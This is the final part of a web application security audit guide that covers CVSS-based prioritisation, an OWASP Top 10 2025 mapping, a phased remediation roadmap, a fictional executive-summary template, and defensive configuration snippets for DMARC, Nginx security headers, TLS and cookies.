Prioritize findings using verified exploitability, exposure, affected assets, and business impact. Use CVSS (Common Vulnerability Scoring System) only when a defined vulnerability and scoring vector support it; a missing header or email policy alone does not establish a CVSS score. Set remediation deadlines from the assessed risk and organizational requirements.
CVSS Severity Ratings
| CVSS Score | Severity | Response Time | Scoring prerequisite |
|---|---|---|---|
| 9.0-10.0 | Critical | Set from assessed risk | Document the vulnerability and scoring vector |
| 7.0-8.9 | High | Set from assessed risk | Document the vulnerability and scoring vector |
| 4.0-6.9 | Medium | Set from assessed risk | Document the vulnerability and scoring vector |
| 0.1-3.9 | Low | Set from assessed risk | Document the vulnerability and scoring vector |
Example Vulnerability List:
Findings to assess against the application context:
1. No DMARC policy - review spoofing exposure and authorized senders
2. Admin panel accessible without authentication - verify reachable functions and impact
3. Certificate expired - verify affected clients and service availability
4. Missing Content-Security-Policy - assess actual script injection paths
5. CORS wildcard with credentials - browser blocks credentialed reads; correct configuration if needed
6. TLS 1.0/1.1 enabled - assess exposure and client requirements
7. SPF record exceeds the DNS lookup limit - test authentication results
8. Missing HSTS preload - assess whether preloading is appropriate
9. No Permissions-Policy header - review browser feature use
10. robots.txt exposes admin paths - verify access controls
11. Missing Referrer-Policy - check actual referrer exposure
12. Cookie banner UX could be clearer - assess applicable consent requirements
OWASP Top 10 2025 Mapping
Map findings to OWASP Top 10 2025 categories:
A01:2025 - Broken Access Control
- Admin panel without authentication (Critical)
- Unvalidated reflected origin exposing credentialed responses (assess impact)
A02:2025 - Security Misconfiguration
- Missing CSP header (assess application context)
- TLS 1.0/1.1 enabled (assess exposure)
- Missing security headers (assess impact)
A03:2025 - Software Supply Chain Failures
- Third-party scripts loaded before consent (Medium)
- No SRI hashes for CDN resources (Low)
A04:2025 - Cryptographic Failures
- Certificate expired (Critical)
- Weak cipher suites (Medium)
A05:2025 - Injection
- Confirmed script injection path (assess impact)
A06:2025 - Insecure Design
- Email authentication policy gap (assess spoofing exposure)
Step 7.2: Remediation Roadmap Creation
The schedule below is an example checklist. Sequence and deadlines depend on confirmed findings and assessed risk; configuration gaps do not automatically belong in a fixed severity tier.
Phase 1: Critical Vulnerabilities (As Confirmed)
Goal: Address vulnerabilities with immediate exploitation risk.
Critical Remediation (when findings are confirmed):
☐ Renew expired SSL certificate
☐ Add authentication to admin panel
☐ Review SPF, DKIM, and DMARC alignment for in-scope mail
☐ Design and test a Content-Security-Policy for the application
☐ Review CORS wildcard with credentials and configure permitted origins where needed
☐ Investigate suspicious IP activity before blocking
☐ Disable TLS 1.0 and TLS 1.1
☐ Remove weak cipher suites
☐ Test HSTS with a short max-age before increasing it
☐ Deploy SPF/DKIM records for verified mail senders
☐ Assess applicable cookie consent duties and implement required controls
Validation:
☐ Run security headers scan and verify the intended browser behavior
☐ Run TLS test and verify supported protocols and certificate chain
☐ Verify email authentication (SPF, DKIM, DMARC)
Phase 2: High-Priority Issues (As Assessed)
Goal: Address vulnerabilities with high likelihood or impact.
High-Priority Remediation (where applicable):
☐ Implement CSP nonces for inline scripts
☐ Add Permissions-Policy header
☐ Add Referrer-Policy header
☐ Configure CAA DNS records
☐ Reduce SPF DNS lookups if validation shows a limit problem
☐ Consider DMARC quarantine only after reports and mail-flow tests support it
☐ Update privacy disclosures where applicable
☐ If applicable, provide a compliant CCPA sale/sharing opt-out method
☐ Implement GPC handling where required
☐ Review certificate revocation configuration
☐ Review DKIM key rotation against provider guidance
☐ Set up certificate expiration alerts
☐ Select consent tooling if needed for applicable requirements
☐ Document data retention schedules
Validation:
☐ Verify header behavior against the tested application
☐ Document evidence for applicable privacy obligations
☐ Verify legitimate and unauthorized mail-flow results
Phase 3: Medium-Priority Issues (As Assessed)
Goal: Address configuration improvements and compliance gaps.
Medium-Priority Remediation (where applicable):
☐ Enable TLS 1.3 (if not already)
☐ Implement SRI hashes for CDN resources
☐ Add robots.txt security review
☐ Remove sensitive paths from robots.txt
☐ Review certificate key strength against current requirements
☐ Implement automated certificate renewal
☐ Set up CT monitoring alerts
☐ Evaluate defensive domain registration against actual impersonation risk
☐ Consider a DMARC reject request when report evidence supports it
☐ Scope penetration testing to the application's exposure and change history
☐ Review relevant security policies and staff training needs
Validation:
☐ Track and retest confirmed findings
☐ Check legitimate mail delivery after DMARC policy changes
☐ Verify TLS configuration against current requirements
Phase 4: Low-Priority Items & Continuous Monitoring (Ongoing)
Goal: Establish ongoing security operations and continuous improvement.
Continuous Monitoring & Improvement (set cadence by risk and change rate)
Regularly:
☐ Repeat relevant baseline checks after material changes
☐ Review DMARC aggregate reports
☐ Check for newly registered typosquatting domains
☐ Update threat intelligence feeds
☐ Review IP reputation (web and mail servers)
As needed under applicable duties and assessed risk:
☐ Review DKIM key rotation and privacy disclosures
☐ Conduct a DPIA where the processing requires one
☐ Scope external penetration testing and vulnerability scans
☐ Perform framework audits when required by commitments or certification scope
At appropriate intervals:
☐ Renew SSL/TLS certificates before expiration
☐ Review and update incident response playbooks
☐ Security awareness training for all staff
☐ Third-party security assessment
☐ Review and update disaster recovery plan
Automation:
☐ Daily: IP reputation monitoring
☐ Daily: Certificate expiration checks
☐ Weekly: Security header regression tests
☐ Weekly: Threat intelligence feed updates
☐ Monthly: Automated vulnerability scans
Step 7.3: Executive Summary Template
The following report is a fictional format example. Replace its findings and priorities with verified evidence and a documented assessment for your own scope.
# Web Application Security Audit Report
**Organization:** Example Corporation
**Date:** [Audit date]
**Auditor:** InventiveHQ Security Team
**Scope:** example.com, api.example.com, staging.example.com
## Executive Summary
This example review identified findings requiring validation across the reviewed domains.
Assign severity and deadlines after confirming exploitability, exposure, and business impact.
### Critical Findings
Use this section only for findings that meet your documented critical-risk criteria.
1. **Email Authentication Policy Gap**
- No DMARC policy configured
- Impact: Domain spoofing risk depends on existing authentication and receiver behavior
- Remediation: Review legitimate senders, add a DMARC monitoring policy, then consider enforcement using report evidence
2. **SSL Certificate Expired**
- Certificate expiration confirmed for an in-scope service
- Impact: Affected clients may be unable to establish a trusted HTTPS connection
- Remediation: Renew the certificate and implement expiration monitoring
3. **Unauthenticated Admin Panel**
- staging.example.com/admin accessible without login
- Impact: Verify which administrative functions are exposed
- Remediation: Add authentication, restrict to VPN/IP allowlist
### Overall Security Posture
| Domain | Grade | Status |
|--------|-------|--------|
| Security Headers | Assess | Review missing controls in context |
| SSL/TLS | Assess | Certificate expired |
| Email Authentication | Assess | No DMARC; check SPF lookup result |
| Privacy Compliance | Assess | Review cookie consent applicability |
| Threat Intelligence | Assess | Review monitoring and alert coverage |
### Recommended Investment
- Estimate certificate renewal, email authentication, and header work from the actual environment.
- Scope application testing, compliance review, training, and monitoring with the responsible teams.
- Record vendor quotes and internal effort before approving a budget.
### Business Impact
Assess potential business impact for each confirmed finding:
- **Email abuse:** Consider domain spoofing and business email compromise exposure.
- **Compliance:** Identify applicable laws and evaluate any actual noncompliance.
- **Availability and trust:** Identify affected users and services.
- **Financial loss:** Estimate costs from the organization's own exposure and evidence.
### Next Steps
1. Review this report with CISO and executive team
2. Approve remediation budget and timeline
3. Assign remediation owners for each finding
4. Begin remediation according to assessed risk and assigned deadlines
5. Schedule monthly progress reviews
---
## Detailed Findings
[Full technical details for each vulnerability...]
Step 7.4: Audit Stage Output
After 45-60 minutes of documentation, you should have:
-
Vulnerability Prioritization
-
CVSS scores only for findings with a defined vulnerability and scoring vector
-
OWASP Top 10 2025 category mapping
-
Response times based on assessed risk and organizational requirements
-
Risk-Based Remediation Roadmap
-
Phase 1: Confirmed critical findings
-
Phase 2: Assessed high-priority issues
-
Phase 3: Assessed medium-priority issues
-
Phase 4: Ongoing monitoring
-
Executive Summary
-
Non-technical overview for leadership
-
Business impact assessment
-
Budget estimates
-
ROI justification
-
Detailed Technical Report
-
Step-by-step findings for each stage
-
Evidence (screenshots, logs, scan results)
-
Remediation instructions
-
Validation criteria
-
Continuous Monitoring Plan
-
Daily checks (IP reputation, cert expiration)
-
Weekly checks (headers regression, threat feeds)
-
Monthly checks (baseline configuration review, DMARC reports)
-
Periodic testing and compliance review based on exposure, change, and applicable duties
Conclusion
After the 7-stage baseline workflow, you should have a first-pass set of findings and a remediation plan. The stage estimates total 140-250 minutes (2 hours 20 minutes to 4 hours 10 minutes), though actual time depends on scope. This review does not establish that the application is secure; plan separate hands-on tests of access control, injection, business logic, and APIs. In this pass, you have:
- Begun mapping your known attack surface (Stage 1)
- Evaluated HTTP security headers and policies (Stage 2)
- Validated SSL/TLS encryption and certificates (Stage 3)
- Reviewed email authentication settings (Stage 4)
- Flagged privacy and compliance issues for further review (Stage 5)
- Collected threat intelligence and set up monitoring (Stage 6)
- Documented findings and created a risk-based remediation roadmap (Stage 7)
Audit Workflow Recap
Stage 1: Pre-Audit Reconnaissance (10-20 min)
- Subdomain discovery via Certificate Transparency
- DNS record analysis (A, MX, TXT, CAA)
- WHOIS registration validation
- IP risk and geolocation assessment
- Typosquatting detection
- robots.txt security analysis
Stage 2: Security Headers (15-30 min)
- 15+ critical HTTP headers tested
- CSP policy generation with nonce support
- CORS misconfiguration detection
- Security grade (A-F) with improvement plan
Stage 3: SSL/TLS Analysis (20-40 min)
- Certificate chain validation
- Expiration timeline tracking
- Protocol and cipher suite testing (TLS 1.2/1.3)
- Certificate Transparency monitoring
- CSR generation for renewals
Stage 4: Email Security (30-45 min)
- SPF/DKIM/DMARC validation
- Email authentication grading
- SPF record generation with DNS lookup counter
- DMARC policy creation with an evidence-based deployment roadmap
- MX record redundancy verification
Stage 5: Privacy Compliance (20-30 min)
- Cookie security analysis (Secure, HttpOnly, SameSite)
- GDPR compliance scanning (consent, privacy policy, disclosures)
- CCPA applicability and sale/sharing opt-out verification
- Third-party tracker inventory
Stage 6: Threat Intelligence (15-25 min)
- IOC extraction from threat reports
- Threat feed aggregation and deduplication
- IP reputation monitoring
- Security header regression testing
- Continuous monitoring setup
Stage 7: Remediation Planning (30-60 min)
- Finding prioritization (CVSS where a scoring vector applies)
- Risk-based remediation roadmap
- Executive summary creation
- Continuous monitoring plan
Next Steps: Implementation Quick Wins
Priorities to validate for the assessed environment:
- Deploy DMARC Monitoring
v=DMARC1; p=none; rua=mailto:dmarc@example.com; pct=100
Publish after confirming the reporting mailbox and inventorying authorized senders; review reports before enforcement.
- Add Security Headers
Place these example directives in the applicable Nginx
serverblock and validate the effective configuration before deployment:
add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
Test the CSP against application resources and supported browsers. To deploy HSTS, first verify HTTPS on the host, start with a short max-age, and increase it after testing. Add includeSubDomains only after checking every covered subdomain; follow the current preload process if preload is appropriate.
-
Renew Expiring Certificates Use the certificate client's current instructions for the actual web server and operating system, then verify the renewed certificate is served.
-
Disable TLS 1.0/1.1
ssl_protocols TLSv1.2 TLSv1.3;
Test protocol compatibility for in-scope clients before deployment.
- Fix Cookie Security
Set-Cookie: sessionId=abc123; Secure; HttpOnly; SameSite=Strict
Set cookie attributes to match the application's authentication and cross-site requirements.
Estimate effort from the actual environment; verification and rollout may take longer than the configuration changes.
Continuous Improvement: Periodic Re-Audit
Security requires ongoing review. Set the audit cadence from exposure, system changes, and applicable obligations to:
- Detect configuration drift - Headers removed during deployments
- Monitor new threats - Emerging attack techniques, updated OWASP Top 10
- Verify compliance - GDPR/CCPA enforcement trends
- Test incident response - Tabletop exercises, playbook validation
- Update policies - Privacy policies, security standards, vendor requirements
Periodic Audit Checklist:
☐ Repeat Stages 1-7 (full audit)
☐ Compare results to previous quarter
☐ Review remediation progress
☐ Update threat intelligence feeds
☐ Scope external penetration testing when risk or changes warrant it
☐ Review and update incident response playbooks
☐ Security awareness training for staff
☐ Board-level security report
Advanced Topics: Beyond This Audit
For Deeper Security:
-
Dynamic Application Security Testing (DAST)
- OWASP ZAP (check current license and availability)
- Burp Suite Pro (check current plans)
- Automated vulnerability scanning (SQLi, XSS, CSRF)
-
Web Application Firewall (WAF)
- Cloudflare WAF (check current plans)
- AWS WAF (check current plans)
- ModSecurity (check current project status and license)
-
Static Application Security Testing (SAST)
-
Bug Bounty Programs
-
Red Team Exercises
- Simulated attacks by internal or external teams
- Social engineering testing
- Physical security assessments
Resources for Continued Learning
OWASP Resources:
- OWASP Web Security Testing Guide
- OWASP Application Security Verification Standard (ASVS)
- OWASP Top 10 2025
Security Standards:
- NIST Cybersecurity Framework (CSF)
- ISO 27001 Information Security Management
- CIS Critical Security Controls
Compliance Frameworks:
About This Guide
This baseline workflow draws on guidance from security organizations including OWASP and NIST. The guide references publicly accessible utilities; check their current pages for access terms. Some process data locally, while Certificate Transparency, DNS, and SSL Labs lookups rely on remote services.
InventiveHQ provides these educational tools to help security professionals, DevOps teams, and compliance officers build systematic review capabilities. Use the resulting evidence alongside application testing and the requirements of the relevant audit or privacy framework.
Key Principles:
- Privacy-First: Check each tool's data handling before submitting sensitive information
- Educational Focus: Tools for learning and professional development; check current access terms
- Industry Standards: Based on OWASP, NIST, and regulatory frameworks
- Actionable Output: Every tool provides remediation guidance, not just findings
Sources & Further Reading
OWASP Top 10 & Web Security
- OWASP Top 10 2025 Released
- OWASP Web Security Testing Guide
- OWASP Application Security Verification Standard (ASVS)
Web Application Security Statistics
SSL/TLS Best Practices
- SSL and TLS Deployment Best Practices (SSL Labs)
- Guide to TLS Standards Compliance (SSL.com)
- SSL Certificate Management Best Practices
Security Headers Implementation
- OWASP Secure Headers Project
- HTTP Security Response Headers Cheat Sheet
- Security Headers Guide | HSTS, CSP, and Best Practices
Email Authentication (SPF, DKIM, DMARC)
- Email Authentication Protocols in 2025: SPF, DKIM, DMARC & BIMI
- How to Implement DMARC/DKIM/SPF: The Definitive Guide
- SPF, DKIM, and DMARC Best Practices
Penetration Testing Tools
GDPR & CCPA Compliance
- GDPR Cookie Consent: What Your Banner Actually Needs to Do
- Cookie compliance best practices under GDPR and CCPA for 2025
- Cookie consent in 2025: The new rules every website owner must know
Remember: Repeat reviews and monitoring at a cadence suited to the environment, and test application behavior as well as configuration.
Stay secure, stay vigilant, and happy auditing.